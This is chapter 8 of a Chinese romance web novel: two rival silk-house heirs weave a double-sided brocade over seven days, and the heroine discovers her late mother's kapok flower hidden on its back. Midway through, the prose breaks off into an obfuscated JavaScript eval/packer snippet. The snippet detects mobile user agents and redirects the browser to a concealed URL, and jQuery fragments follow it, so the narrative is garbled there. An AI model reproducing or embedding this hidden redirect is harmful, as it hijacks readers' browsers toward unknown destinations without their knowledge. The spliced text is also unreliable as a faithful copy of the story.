十一月初六，卯时三刻。
织云别院的大门，在晨雾中无声开启。
苏晚音只带了一个小包袱——里面装着几件换洗衣裳、母亲留下的半本札记、那枚羊脂白玉牌，还有谢无咎赠的乌木梭。小蝉想跟来，被她留下了。有些路，只能一个人走。
迎接她的不是仆从，而是谢无咎本人。
他依旧一身月白长衫，站在庭院深处的廊檐下，晨光透过薄雾斜照在他肩头，将那道清瘦的身影衬得有些朦胧。见苏晚音进来，他微微颔首，没有寒暄，只说了两个字：
“请。”
两人一前一后，穿过庭院，绕过回廊，来到别院深处一间独立的小院。
院门推开，里面的景象让苏晚音微微一怔。
这不是普通的织房。
三间屋子打通成一间，宽敞得能跑马。四壁不开窗，只在屋顶开了三处天窗——不是普通的明瓦，而是特制的琉璃，能透光却不刺眼。天光从上方均匀洒落，将整间屋子照得明亮如昼，却无半分阴影。
屋子中央，摆着一架织机。
比寻常织机大上两倍不止。机身通体用深褐色的铁梨木制成，木料已经磨得光滑如镜，泛着温润的光泽。机架各处镶嵌着暗银色的金属构件，在晨光下泛着冷冽的光。最奇特的是梭箱——不是单梭，而是双梭并置，一黑一白，像是阴阳两极。
织机旁，整齐码放着两堆丝料。
左边是天青色，是苏家带来的天青蚕丝，已经用秘色染法浸染过七次，色泽沉郁如暮色中的远山，在光线下隐隐流动着青紫的光泽。
右边是冰蓝色，是谢家的冰蚕丝，丝线细得几乎看不见，在晨光中泛着珍珠般的光泽，触手冰凉。
两堆丝之间，隔着一臂的距离。
像一道无形的界线。
“苏掌案，”谢无咎走到织机旁，抬手示意，“这是谢家祖传的‘阴阳双梭机’。二十年前，苏锦娘前辈便是用这架机，织出了那半匹‘云冰合璧锦’。”
苏晚音走到机前，伸手，轻轻抚过机梁。
木料冰凉，触感细腻，能感受到岁月打磨出的温润。她俯身，仔细看梭道、踏板、经轴的结构——果然与寻常织机不同。梭道有两条，一上一下，呈交叉状；踏板有四个，两两相对；经轴可以双向转动，这意味着……
“可以同时织两面？”她抬眼看向谢无咎。
谢无咎眼中掠过一丝赞赏：“苏掌案好眼力。阴阳双梭，正反同织。正面为阳，用天青丝；反面为阴，用冰蚕丝。两面纹样相反相成，合则为一，分则为二。”
他顿了顿，补充道：
“但此法极难。需左右手同时引梭，双脚交替踏板，眼观两面，心分两用。二十年来，谢家无人能成。”
苏晚音沉默片刻。
然后，她解开包袱，取出那枚乌木梭，放在黑色梭箱旁。
又从怀中取出羊脂白玉牌，挂在腰间。
最后，她卷起袖子，露出被染料浸得微青的手腕。
“开始吧。”
---
第一日，辰时至酉时，苏晚音没有碰织机。
她盘腿坐在丝料旁，一束一束地摸，一束一束地看。天青丝在她指间流过，冰蚕丝在她掌心停留。她闭上眼睛，用指尖感受丝线的弹性、湿度、温度，用耳朵听丝线摩擦时发出的细微声响。
谢无咎站在天窗下，静静看着。
他不说话，不催促，只是看着。
屋外有仆从送来茶水饭食，他亲自接过，放在她手边，又悄无声息地退开。
午时，她睁开眼，喝了一口水，吃了几口饭。
然后继续。
酉时末，天色暗了下来。天窗透入的光渐渐转为暮色。
苏晚音终于站起身，走到织机前。
她没有立刻上机，而是绕着织机走了三圈。每一步都走得很慢，目光一寸寸扫过机身的每一个角落——经轴的固定点，踏板的连接处，梭道的弧度，甚至木纹的走向。
然后，她停住。
抬手，按下机梁左侧一个不起眼的凸起。
“咔哒”一声轻响。
机身后侧，弹开一个暗格。
格子里，躺着一卷泛黄的绢布。
谢无咎的瞳孔，骤然收缩。
苏晚音取出绢布，展开。
是一幅织锦的局部纹样图——天青底色上，冰蓝纹路如雪花绽放，每一片雪花的尖端，都有一点极细微的金芒。
图的右下角，有一行小字：
“锦娘试笔，庚子年冬。”
母亲的笔迹。
“你……怎么知道这里有暗格？”谢无咎的声音有些发紧。
“母亲札记里写过。”苏晚音没有抬头，指尖轻抚着绢布上的纹路，“‘谢家阴阳机，左三寸，下二指，有暗匣，藏初稿。’”
她将绢布重新卷好，放回暗格，合上。
然后，她转身，看向谢无咎：
“这图，是母亲当年留下的。谢公子可知，她为何要将初稿藏在这里？”
谢无咎沉默。
良久，他缓缓摇头：“父亲从未提过。”
苏晚音不再追问。
她坐上织机，双脚轻踏，双手同时握住黑白双梭。
“那便由我来找出答案。”
---
第二日，寅时。
织机开始转动。
声音很轻，很稳。双梭在两条梭道间交错飞行，一黑一白，像两只夜行的燕子。天青丝与冰蚕丝在经纬交错间相遇，融合，又分离。
苏晚音的眼神很专注。
专注得像是整个世界都消失了，只剩下眼前的丝线，手中的梭子，脚下的踏板。
她的动作不快，但极精准。每一次引梭，力道都恰到好处；每一次踏脚，时机都分毫不差。左右手仿佛各自有生命，却又和谐统一。
谢无咎坐在三丈外的矮榻上，面前摆着一局残棋。
但他没有落子。
他的目光，始终落在织机前那个纤细却挺直的背影上。
看着她额角渗出的细密汗珠，看着她被丝线勒出红痕的指尖，看着她因全神贯注而微微抿起的唇角。
阳光从天窗斜射而入，在她周身镀上一层淡金色的光晕。
有那么一瞬间，他恍惚看到了二十年前的苏锦娘。
同样的专注，同样的坚定，同样那种……近乎执拗的、要将经纬织成天地的气魄。
他垂下眼，看向棋盘。
棋局胶着，黑白交错，胜负难分。
就像这间屋子里，天青与冰蓝的丝线，正在一个十六岁少女的手中，缓缓织成一个未知的结局。
---
第三日，夜。
苏晚音已经连续织了八个时辰。
双臂开始发酸，指尖开始麻木，背上的旧伤也在隐隐作痛。但她没有停。
不能停。
一旦停下，丝线的张力就会变化，温度就会失衡，之前的所有努力都可能前功尽弃。
她咬了咬牙，手上动作依旧稳定。
谢无咎端来一碗参汤，放在织机旁。
“歇一刻。”他的声音在寂静的夜里显得格外清晰。
苏晚音摇头，手中梭子未停。
谢无咎沉默片刻，忽然伸手，按住了机梁。
织机戛然而止。
苏晚音猛地抬眼，眼中布满血丝：“你——”
“歇一刻。”他重复道，语气不容置疑，“人不是机器。弦绷得太紧，会断。”
他将参汤推到她面前：“喝了。”
苏晚音盯着他，看了几息，终于放下梭子，接过碗。
汤还温热，参味浓郁。她小口小口地喝着，热流顺着喉咙滑下，稍稍驱散了身上的疲惫。
屋子里很静。
只有更漏滴水的声音，滴答，滴答。
谢无咎走到天窗下，仰头望着夜空。今夜无月，只有几颗疏星，在深蓝色的天幕上闪着微光。
“苏掌案，”他忽然开口，“你可曾想过，若这匹锦织成了，会怎样？”
苏晚音放下碗，擦了擦嘴角。
“会解苏家燃眉之急，会给谢家带来声誉，会……让内务府暂时闭嘴。”
“然后呢？”
“然后？”苏晚音顿了顿，“然后继续下一匹，下一场。”
谢无咎转过身，看着她：
“有没有可能……不止于此？”
苏晚音抬眼，迎上他的目光。
四目相对。
晨光中，他的眸子依旧是那种近乎琥珀的色泽，但此刻，里面翻涌着她看不懂的情绪——不是算计，不是权衡，而是一种近乎……悲悯的东西。
“谢公子想说什么？”
谢无咎沉默良久。
然后，他缓缓开口，声音很轻，却字字清晰：
“我想说，这匹锦，或许可以不止是一匹锦。”
他走到织机旁，伸手，轻轻抚过已经织成的半尺锦面。
天青与冰蓝交融的地方，在灯光下呈现出一种奇异的层次感——不是简单的色块拼接，而是像水与墨在宣纸上自然晕染，你中有我，我中有你。
“二十年前，父亲与苏锦娘前辈织‘云冰合璧’，想的也是‘不止于此’。”他的指尖停在某一处经纬交错点，“他们想的是，江南织造业或许可以有一个新的秩序——不是一家独大，不是互相倾轧，而是技艺互通，丝路共济。”
他顿了顿，声音更低：
“但一场大火，烧掉了所有可能。”
苏晚音静静听着。
参汤的热气在眼前氤氲，模糊了他的面容。
“所以，”她缓缓开口，“你想续上的，不止是二十年前的‘约’，还有那个……未成的‘梦’？”
谢无咎看着她，缓缓点头。
“我知道这很难。”他说，“我知道苏掌案未必信我。但至少这七日，在这间屋子里，我们可以暂时放下猜忌，放下算计，只为一匹锦——一匹或许能证明，天青与冰蓝，本就可以相融的锦。”
苏晚音沉默了。
她看着织机上那半尺锦面，看着那两种截然不同的颜色，在丝线的牵引下，缓缓织成一个整体。
很美。
美得让人心颤。
也美得让人……心生希望。
良久，她轻轻吐出一口气。
“一刻到了。”她放下碗，重新拿起梭子，“继续吧。”
织机再次转动。
咔哒，咔哒。
声音在寂静的夜里，像心跳，像誓言。
---
第四日、第五日、第六日……
时间在梭声中流逝。
锦面一寸寸延长，纹样一点点清晰。天青底色上，冰蓝雪花渐次绽放，每一片雪花的尖端，都藏着一线极细的金芒——那是苏晚音用“藏金技法”织入的，只有在特定光线下才能看见。
正面看，是雪落青山的清冷。
反面看，是金镶玉嵌的华贵。
两面一体，阴阳共生。
谢家的老匠人偶尔会来看，起初是好奇，后来是惊叹，再后来……是敬畏。
他们从未见过有人能将阴阳双梭用到这种境界。
左右手如分花拂柳，脚下踏板的节奏精准得像打更。天青丝与冰蚕丝在她手中，不再是两种对立的材料，而是琴弦上的两个音符，共同奏出一曲无声的乐章。
第六日深夜，子时。
锦已织成九分。
只差最后一尺。
苏晚音的脸色已经苍白如纸，眼下乌青深重，握梭的手在微微颤抖。连续六日六夜几乎不眠不休，她的体力已经到了极限。
但她眼神依旧清明。
清明得像寒潭里的水，深不见底。
谢无咎站在她身后三步外，手中端着一碗药汤——是谢家祖传的提神方，能吊住人最后一口力气。
但他没有递过去。
他在等。
等她开口。
最后一尺，是最难的一尺。
需要将两面纹样完全收束，需要让经纬归于一处，需要……一个完美的句点。
苏晚音深吸一口气，闭上眼睛。
她想起母亲札记里，关于“收锦”的那一页。
“锦将成时，心如止水。手随丝走，意随梭行。最后一梭，非力也，非巧也，乃……心也。”
心。
她睁开眼，眼中一片澄明。
双手同时引梭。
黑白双梭在空中划过两道弧线，一左一右，一上一下，精准地落入梭箱。
双脚同时踏下。
织机发出最后一声轻响。
然后，寂静。
锦成了。
---
第七日，卯时。
晨光透过天窗，洒在织机上。
一匹完整的锦，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032906|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静静铺展在机前。
长一丈二尺，宽三尺六寸。正面天青为底，冰蓝雪花层层绽放，清冷如冬晨初雪；反面冰蓝为底，天青云纹缓缓流淌，华贵如春江月夜。
两面纹样相反相成，合则为一幅完整的《雪霁春山图》——雪落青山，云开月出，金芒隐现，似有还无。
美得不似人间物。
谢无咎站在锦前，看了很久很久。
然后，他转身，对着苏晚音，深深一揖。
“苏掌案，”他的声音有些沙哑，“此锦……胜当年。”
这不是客套。
是发自内心的承认。
苏晚音扶着机梁，缓缓站起身。
连续七日的疲惫在这一刻涌上来，她眼前一黑，身体晃了晃。
谢无咎上前一步，扶住她的手臂。
他的手很稳，也很凉。
“去歇息吧。”他低声道，“剩下的事，交给我。”
苏晚音摇了摇头。
她挣脱他的手，走到锦前，俯身，仔细检查锦面的每一寸。
指尖抚过经纬交错处，感受着丝线的张力、纹样的流畅度、颜色的过渡……
一切完美。
完美得……有些诡异。
她忽然想到什么，走到织机另一侧，将整匹锦小心翼翼地翻过来。
反面，冰蓝底色上，天青云纹缓缓流动。
但在某个极隐蔽的角落——右下角，靠近边缘处，有一小片纹样……不对劲。
不是织错了。
是多了点什么。
她凝神细看。
那是几片极细的、用冰蚕丝织成的……花瓣？
六瓣，清冷，棱角分明。
是冰花？
不。
她心念一动，取来放大镜，对准那片纹样。
镜片下，那些“花瓣”的轮廓渐渐清晰——
不是冰花。
是木棉。
五片舒展的花瓣，中央一点花蕊，线条简洁却生动。
母亲最爱的木棉。
用冰蚕丝，织在锦背的角落，只有对着光、用放大镜，才能看清。
苏晚音的手指，微微颤抖。
她想起谢无咎那夜在阊门外给她的那缕冰蚕丝，想起丝线上的那八个字：
“木棉为记，冰下藏春。”
原来如此。
冰蚕丝织木棉。
冰下藏着的，不是生机，是……母亲的印记。
是谢无咎用这种方式，告诉她：他知道木棉对母亲的意义，他知道这匹锦不该只是技艺的展示，还应该有……传承。
她抬起头，看向谢无咎。
他站在天窗下，晨光在他周身镀上一层淡金色的光晕。他看着她，眼中没有得意，没有炫耀，只有一种近乎平静的……了悟。
像是早就知道，她会发现。
像是故意，让她发现。
“这木棉……”苏晚音开口，声音有些发涩。
“是我织的。”谢无咎坦然承认，“最后一夜，你歇息的那一个时辰。”
他顿了顿，补充道：
“用的是二十年前，苏锦娘前辈留在谢家的一小束冰蚕丝——她说，若有朝一日这匹锦能续织，便用这丝，织一朵木棉。”
苏晚音的心，重重一震。
母亲……早就料到会有这一天？
她早就在谢家，留下了续约的“线”？
“锦背藏木棉，”谢无咎缓缓道，“这是苏锦娘前辈当年的原话。她说，锦是给人看的，但有些东西，不必给所有人看。藏在背面，留给懂的人，就够了。”
他走到锦前，伸手，轻轻抚过那朵冰蚕丝织成的木棉。
“这朵木棉，是我的诚意。”他抬眼，直视苏晚音，“也是我的承诺——谢家与苏家的合作，不止于这匹锦。”
苏晚音沉默良久。
晨光在她脸上跳跃，将她的眉眼照得格外清晰。
疲惫，憔悴，但那双眼睛依旧亮得惊人。
“湖丝呢？”她终于开口。
“已经运往苏家。”谢无咎从袖中取出一张签收单，“两百斤上等湖丝，昨日戌时入库。这是你府上管事的签收凭证。”
苏晚音接过，仔细看过，确认无误。
她将凭证收好，再次看向那匹锦。
晨光越来越亮，锦面上的光泽开始流动，天青与冰蓝在光中交融变幻，那朵藏在背面的木棉，在某个角度下微微一闪，随即又隐去。
像是一个秘密。
一个只有他们两人知道的秘密。
“这匹锦，”她缓缓开口，“叫什么名字？”
谢无咎沉吟片刻：
“当年那半匹，叫‘云冰合璧’。这一匹……苏掌案觉得呢？”
苏晚音看着锦面上雪落青山的景象，看着锦背那朵冰蚕丝的木棉，想起母亲札记里那句“冰下藏春”。
“叫‘雪融春’吧。”她轻声道，“雪终会融，春终会来。”
谢无咎眼中掠过一丝微光。
“好。”他点头，“雪融春。”
他抬手，击掌三声。
门外进来两名仆从，小心翼翼地抬起那匹锦，用素白绸缎包裹好，装入一只特制的紫檀木长匣中。
“这匹锦，”谢无咎看向苏晚音，“三日后，我会亲自送入宫中。至于结果……”
他没有说完。
但意思，两人都懂。
锦入了宫，便是将两家的命运，都押在了这一局上。
成，则两家暂得喘息。
败，则……
苏晚音不再多想。
她走到窗边，推开窗。
晨风扑面而来，带着深秋的凉意，也带着运河的水汽。
七日了。
她终于走出了这间屋子。
外面的天，依旧广阔。
路，依旧漫长。
但至少这一局，她落子了。
也至少这一局，她不是一个人。
她回头，看向屋内的谢无咎。
他站在晨光里，月白长衫微微扬起，目光沉静如水。
像一座山。
也像……一个盟友。
她收回目光，转身离去。
背影挺直，脚步沉稳。
像是已经做好了准备——
迎接接下来的，所有风雨。
---
（第八章完）